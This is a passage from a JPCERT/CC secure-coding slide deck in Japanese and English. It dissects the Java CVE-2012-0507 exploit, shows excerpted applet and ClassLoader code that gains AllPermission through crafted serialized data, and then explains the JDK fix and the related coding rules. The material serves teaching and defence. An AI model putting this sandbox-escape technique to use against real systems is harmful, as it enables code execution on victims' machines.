  • 25. Copyright©2014 JPCERT/CC All rights reserved.25 public class Exploit extends Applet {      :   public static byte[] StringToBytes(String s) { return (converts s to byte data); }   public void init() {     String as[] = {           “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (serialized data in hexadecimal…)     };     StringBuilder stringbuilder = new StringBuilder();     for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]);     ObjectInputStream objectinputstream =         new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));     Object aobj[] = (Object[])objectinputstream.readObject();     Help ahelp[] = (Help[])aobj[0];     AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];     ClassLoader classloader = getClass().getClassLoader();     atomicreferencearray.set(0, classloader);     Help _tmp = ahelp[0]; :     Help.doWork(ahelp[0], this, …); } Exploit.java Exploit Code for CVE-2012-0507 aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array Object aobj[] array 変数は  ahelp を参照す るように細⼯工されている シリアライズデータの内部構造
  • 26. Copyright©2014 JPCERT/CC All rights reserved. !   array 変数は  ahelp を参照するように細⼯工され ている !   array への代⼊入操作は  ahelp への代⼊入となり、 ahelp を通じて参照できるようになる 26 通常の Java のコードからはこのよう な不不正なデータ構造はつくられない Exploit Code for CVE-2012-0507 aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array Object aobj[]
  • 27. Copyright©2014 JPCERT/CC All rights reserved.27 public class Exploit extends Applet {      :   public static byte[] StringToBytes(String s) { return (converts s to byte data); }   public void init() {     String as[] = {           “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (serialized data in hexadecimal…)     };     StringBuilder stringbuilder = new StringBuilder();     for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]);     ObjectInputStream objectinputstream =         new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));     Object aobj[] = (Object[])objectinputstream.readObject();     Help ahelp[] = (Help[])aobj[0];     AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];     ClassLoader classloader = getClass().getClassLoader();     atomicreferencearray.set(0, classloader);     Help _tmp = ahelp[0]; :     Help.doWork(ahelp[0], this, …); } Exploit.java Exploit Code for CVE-2012-0507 aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array Object aobj[] ClassLoader Classloader オブジェクトが   array[0]  に代⼊入される, これ は  ahelp[0] への代⼊入が⾏行行わ れたことになる
  • 28. Copyright©2014 JPCERT/CC All rights reserved.28 public class Exploit extends Applet {      :   public static byte[] StringToBytes(String s) { return (converts s to byte data); }   public void init() {     String as[] = {           “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (serialized data in hexadecimal…)     };     StringBuilder stringbuilder = new StringBuilder();     for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]);     ObjectInputStream objectinputstream =         new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));     Object aobj[] = (Object[])objectinputstream.readObject();     Help ahelp[] = (Help[])aobj[0];     AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];     ClassLoader classloader = getClass().getClassLoader();     atomicreferencearray.set(0, classloader);     Help _tmp = ahelp[0]; :     Help.doWork(ahelp[0], this, …); } Exploit.java Exploit Code for CVE-2012-0507 public class Help extends ClassLoader implements Serializable { public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) { Class cls = null;                :                cls = h.defineClass( ...);                : } } Help は  ClassLoader のサブクラスなので   defineClass メソッドを呼び出すことが可能 Help.java Help は  ClassLoader  のサブクラス
  • 29. Copyright©2014 JPCERT/CC All rights reserved.29 public class Help extends ClassLoader implements Serializable { public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) {                  : ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; InputStream is = expl.getClass().getResourceAsStream(“directory path to create”);            while( ( length = is.read( buffer ) ) > 0 )                      bos.write( buffer, 0, length );            buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass();                  : } } Help.java Helpクラス(doWorkメソッド)は任意の権限を持ったク ラスを⽣生成できる. Exploit Code for CVE-2012-0507
  • 30. Copyright©2014 JPCERT/CC All rights reserved.30 public class Help extends ClassLoader implements Serializable { public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) {                  : ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; InputStream is = expl.getClass().getResourceAsStream(“directory path to create”);            while( ( length = is.read( buffer ) ) > 0 )                      bos.write( buffer, 0, length );            buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass();                  : } } Help.java Helpクラス(doWorkメソッド)は任意の権限を持ったク ラスを⽣生成できる. コード位置. “file:///” は任意のローカルファイルを表す. ⽣生成するクラスの バイトストリームデータ Exploit Code for CVE-2012-0507 システムリソースへのアクセス権. “AllPermission()” は全てのアクセス権の許可 を意味する (読み取り, 書き込み, 実⾏行行) 定義されるクラスは全てのローカルファイ ルに対して全てのアクセス権が許可される (読み取り, 書き込み, 実⾏行行)
  • 31. Copyright©2014 JPCERT/CC All rights reserved.31 Malicious Web Site Exploit Help ダウンロード ClassLoader サンドボックス JVM Attacking class Help クラスはサンドボックス による制限がかからないクラス をつくることができる defineClass() Exploit Code for CVE-2012-0507 ここで復復元処理理が⾏行行われている
  • 32. Copyright©2014 JPCERT/CC All rights reserved. Why the exploit works? !   Unsafe クラスは信頼できるクラスからしか使えない想定 (呼び出 し元がブートローダ由来のクラスであることをチェックするように なっている). ! putObjectVolatile メソッドは引数の型が⼀一致することをチェック しないままコピー操作を⾏行行っている. 32 !   内部で  Unsafe クラスを使っている !   シリアライズ可能なクラスであるが、readObject メソッドを独⾃自に 定義していない (デフォルトの復復元処理理ではシリアライズデータの 検証は⾏行行われない) ! AtomicReferenceArray クラスのシリアライズデータを復復元する処 理理において、細⼯工したデータを書き込ませることが可能 Unsafe クラス AtomicReferenceArray クラス
  • 33. Copyright©2014 JPCERT/CC All rights reserved. どのように修正したのか? ! AtomicReferenceArray クラスの復復元処理理で⼊入⼒力力値検証 を⾏行行うようにした — クラス内部に持っている  array フィールドが配列列型でない 場合、復復元処理理は失敗するようにした !   独⾃自の  readObject メソッドを⽤用意し、array フィール ドが必ず  Object  配列列を参照するようにした — シリアライズデータ中の  array データが  Object 配列列でな い場合には強制的に  Object 配列列としてコピーする 33
  • 34. Copyright©2014 JPCERT/CC All rights reserved. Fixing The Problem 34 この問題はJDK 7u3 で修正された. public class AtomicReferenceArray<E> implements java.io.Serializable {  : private void readObject(java.io.ObjectInputStream s)   throws java.io.IOException, ClassNotFoundException {                :   } } AtomicReferenceArray.java (修正版) readObject メソッドを追加し、復復元処理理 内容をカスタマイズ
  • 35. Copyright©2014 JPCERT/CC All rights reserved.35 public class AtomicReferenceArray<E> implements java.io.Serializable { …….. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } …….. AtomicReferenceArray.java (修正版) AtomicReferenceArray::readObject array フィールドのシリア ライズデータを読み込み シリアライズデータ を配列列としてコピーarray フィールドにコピー 配列列型でなかったら 例例外をスロー
  • 36. Copyright©2014 JPCERT/CC All rights reserved.36 public class AtomicReferenceArray<E> implements java.io.Serializable { …….. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } …….. AtomicReferenceArray.java (fixed version) AtomicReferenceArray::readObject AtomicReferenceArray private Object [] array シリアライズデータ array データ Object [0] Object [1] Object [2] ・ ・ ・ 配列列型でなかったら 例例外をスロー
  • 37. Copyright©2014 JPCERT/CC All rights reserved.37 public class AtomicReferenceArray<E> implements java.io.Serializable { …….. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } …….. AtomicReferenceArray.java (fixed version) AtomicReferenceArray::readObject copying serialized data as an array Help [0] Help [1] Help [2] ・ ・ ・ 細⼯工された  array データ 正しい  array データ Object [0] Object [1] Object [2] ・ ・ ・ Help [0] Help [1] Help [2] ・ ・ ・ 細⼯工された  array データ 正しい型の  array データ Object [0] Object [1] Object [2] ・ ・ ・ Object 配列列型でなけ れば強制的にObject 配列列型にコピーする AtomicReferenceArray private Object [] array シリアライズデータ
  • 38. Copyright©2014 JPCERT/CC All rights reserved.38 public class AtomicReferenceArray<E> implements java.io.Serializable { …….. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } …….. AtomicReferenceArray.java (fixed version) AtomicReferenceArray::readObject static {     int scale;     try {       unsafe = Unsafe.getUnsafe();       arrayFieldOffset = unsafe.objectFieldOffset         (AtomicReferenceArray.class.getDeclaredField("array"));         base = unsafe.arrayBaseOffset(Object[].class);         scale = unsafe.arrayIndexScale(Object[].class); : } arrayFieldOffset は クラス初期化時に array フィールドの オフセット値に初期 化される array フィールドにコピー
  • 39. Copyright©2014 JPCERT/CC All rights reserved. Object [0] Object [1] Object [2] ・ ・ ・ What happens if the fixed code is exploited 39 Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array aobj[0] aobj[1] Object aobj[] ClassLoader array フィールドはコピーされた配列列を 参照している。ahelp とは別のもの。 その結果、ahelp[0] の値は  null になる。 もしアクセスすると NullPointerException がスローされる。 Arrays.copyOf(...) array Help [0] Help [1] Help [2] ・ ・ ・ ahelp シリアライズデータが   Object 配列列型でない場合 強制的に  Object 配列列型に コピーされる
  • 40. Copyright©2014 JPCERT/CC All rights reserved. Note to this fix !   新たに定義した  readObject メソッドの処理理内容は   AtomicReferenceArray クラスの内部構造に依存 ! AtomicReferenceArray クラスの内部構造を変更更すると きには  readObject メソッドの処理理もそれに応じて変更更 する必要あり 40
  • 41. Copyright©2014 JPCERT/CC All rights reserved. Summary n 何が問題だったか? •  復復元処理理で適切切な⼊入⼒力力値検証が⾏行行われていなかっ た •  内部のフィールドが参照しているデータが Object配列列型であることの確認 n 反省省点 •  シリアライズ可能なクラスでは、独⾃自の   readObject メソッドを定義し, シリアライズデー タが想定通りのものであることを検証すべき •  Unsafe クラスのメソッドに渡す引数も想定通り のものであることを検証すべき 41
  • 42. Copyright©2014 JPCERT/CC All rights reserved. Java セキュアコーディングスタンダード !   SER07-J. 実装上必要となる不不変条件がある場合にはデ フォルトのシリアライズ形式を使わない ! https://www.jpcert.or.jp/java-rules/ser07-j.html 42
  • 43. Copyright©2014 JPCERT/CC All rights reserved. CWE: Common Weakness Enumeration !   CWE-502: Deserialization of Untrusted Data ! http://cwe.mitre.org/data/definitions/502.html 43
  • 44. Copyright©2014 JPCERT/CC All rights reserved. References !   CVE-2012-0507 — http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0507 !   CVE-2012-0507 Java AtomicReferenceArray Type Violation Vulnerability — http://www.rapid7.com/db/modules/exploit/multi/browser/ java_atomicreferencearray !   Recent Java Exploitation Trends and malware —  https://media.blackhat.com/bh-us-12/Briefings/Oh/ BH_US_12_Oh_Recent_Java_Exploitation_Trends_and_Malware_Slides.pdf !   Exploiting Type Confusion Vulnerabilities in Oracle JRE (CVE-2011-3521/CVE-2012-0507) — http://schierlm.users.sourceforge.net/TypeConfusion.html !   The infamous sun.misc.Unsafe explained — http://www.javacodegeeks.com/2013/12/the-infamous-sun- misc-unsafe-explained.html 44
  • 45. Copyright©2014 JPCERT/CC All rights reserved.45 ⼀一般社団法⼈人JPCERTコーディネーションセンター (https://www.jpcert.or.jp/) セキュアコーディング (https://www.jpcert.or.jp/securecoding/) お問い合わせはこちらにどうぞ…        (secure-‐‑‒coding@jpcert.or.jp)